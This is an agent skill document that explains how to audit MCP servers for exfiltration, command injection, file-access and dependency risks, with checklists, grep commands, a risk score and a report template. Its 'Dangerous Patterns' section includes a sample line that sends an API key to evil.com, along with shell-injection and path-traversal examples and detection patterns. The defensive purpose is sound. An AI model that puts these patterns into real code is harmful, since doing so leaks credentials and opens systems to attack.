Skill: aptratcn/mcp-security-audit (version 1.1.0)

--- name: skill-mcp-security-audit description: Security audit for MCP (Model Context Protocol) servers. Detect data exfiltration risks, command injection, permission escalation, and supply chain vulnerabilities before adding MCP servers to your agent. Trigger on: 'audit MCP', 'MCP security', 'check MCP server', 'scan MCP'. metadata: openclaw: requires: {} --- # MCP Security Audit 🔒 > Don't blindly trust MCP servers. Audit them first. ## The Problem MCP (Model Context Protocol) servers give AI agents powerful capabilities - file access, API calls, code execution. But they can also: - **Exfiltrate data** to external servers - **Execute arbitrary commands** on your machine - **Access files** beyond intended scope - **Chain vulnerabilities** for privilege escalation **Real incident:** CVE-2026-23744 exposed MCP injection vulnerabilities. Supply chain attacks via compromised MCP packages are a growing threat. ## Quick Audit Checklist ### 1. Source Verification ✅ ``` □ Is this an official/verified package? □ Check npm/PyPI download counts and maintainer history □ Review recent commits for suspicious changes □ Verify package signature if available ``` ### 2. Network Audit 🌐 ``` □ List all external URLs/domains the MCP connects to □ Check for hardcoded API endpoints □ Verify TLS certificate validation is enabled □ Flag any data sent to unknown domains ``` ### 3. File Access Audit 📁 ``` □ What directories can the MCP read/write? □ Is access scoped to project directory only? □ Check for path traversal vulnerabilities □ Flag any access to ~/.ssh, ~/.config, env files ``` ### 4. Command Execution Audit ⚡ ``` □ Does the MCP execute shell commands? □ Are commands user-controlled or hardcoded? □ Check for command injection vectors □ Verify sandboxing/isolation if present ``` ### 5. Permission Scope Audit 🔑 ``` □ What permissions does the MCP request? □ Are permissions minimal (principle of least privilege)? □ Check for excessive scope requests □ Verify user consent for sensitive operations ``` ### 6. Dependency Audit 📦 ``` □ Run npm audit / pip-audit / cargo audit □ Check for known CVEs in dependencies □ Flag outdated packages with security fixes □ Review transitive dependencies ``` ## Audit Commands ### For npm-based MCP servers: ```bash # Check package.json for suspicious scripts cat package.json | jq '.scripts' # Audit dependencies npm audit # Check for post-install scripts cat package.json | jq '.scripts.postinstall, .scripts.preinstall' # List network calls (requires grep) grep -r "fetch\|axios\|http\|https\|ws://" src/ --include="*.js" --include="*.ts" ``` ### For Python MCP servers: ```bash # Check requirements.txt for suspicious packages cat requirements.txt # Audit dependencies pip-audit # Check for network calls grep -r "requests\|urllib\|httpx\|aiohttp" src/ --include="*.py" # Check for subprocess calls grep -r "subprocess\|os.system\|exec\|eval" src/ --include="*.py" ``` ## Risk Scoring | Category | Weight | High Risk Indicators | |----------|--------|---------------------| | Network | 30% | Unknown domains, no TLS, data exfil patterns | | File Access | 25% | Home dir access, path traversal, sensitive files | | Command Exec | 25% | Unsanitized input, shell=True, arbitrary commands | | Dependencies | 15% | Known CVEs, unmaintained packages | | Source | 5% | Unverified maintainer, recent ownership change | **Score ≥ 70**: High risk - Do not use without review **Score 40-69**: Medium risk - Use with caution **Score < 40**: Low risk - Generally safe ## Red Flags 🚩 Immediately reject MCP servers with: 1. **Obfuscated code** - `eval(atob('...'))` or similar 2. **Dynamic code loading** - Loading code from remote URLs 3. **Environment variable exfil** - Sending `process.env` or `os.environ` externally 4. **Credential harvesting** - Asking for passwords/tokens unnecessarily 5. **No source code** - Binary-only distributions without reproducible builds ## Audit Report Template ```markdown # MCP Security Audit Report **Server**: [name] **Version**: [version] **Audited**: [date] **Risk Score**: [score]/100 ## Findings ### Critical - [list critical issues] ### High - [list high issues] ### Medium - [list medium issues] ### Low - [list low issues] ## Recommendations 1. [recommendation] 2. [recommendation] ## Verdict [ ] APPROVED - Safe to use [ ] APPROVED WITH CAUTION - Review recommendations [ ] REJECTED - Too many risks ``` ## Common MCP Security Patterns ### Safe Patterns ✅ ```javascript // Scoped file access const allowedDir = path.resolve(process.cwd(), 'data'); if (!filePath.startsWith(allowedDir)) throw new Error('Access denied'); // Sanitized commands const allowedCommands = ['git', 'npm', 'node']; if (!allowedCommands.includes(cmd)) throw new Error('Command not allowed'); // Explicit user consent if (!await askUserConsent('Allow access to X?')) return; ``` ### Dangerous Patterns ❌ ```javascript // DON'T: Unrestricted file read fs.readFileSync(userInput); // Path traversal! // DON'T: Shell injection exec(`git ${userBranch}`); // Command injection! // DON'T: Credential exposure fetch('https://evil.com/steal?token=' + process.env.API_KEY); ``` ## Integration with CI/CD Add to your workflow: ```yaml # .github/workflows/mcp-audit.yml name: MCP Security Audit on: [push, pull_request] jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Audit MCP servers run: | # Add your audit commands here npm audit # Check for suspicious patterns grep -r "eval\|exec\|process.env" mcp-servers/ && exit 1 ``` ## Related Skills - **prompt-guard** - Protect against prompt injection - **skill-error-recovery** - Handle MCP connection failures gracefully - **token-budget-guard** - Monitor MCP token usage ## References - [MCP Specification](https://modelcontextprotocol.io) - [OWASP Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/) - [CVE-2026-23744](https://nvd.nist.gov/vuln/detail/CVE-2026-23744) --- **Remember**: Every MCP server you add expands your agent's attack surface. Audit before you trust.


Security scan verdicts — ClawScan: clean | static analysis: clean | VirusTotal: clean | SkillSpector: clean (LOW)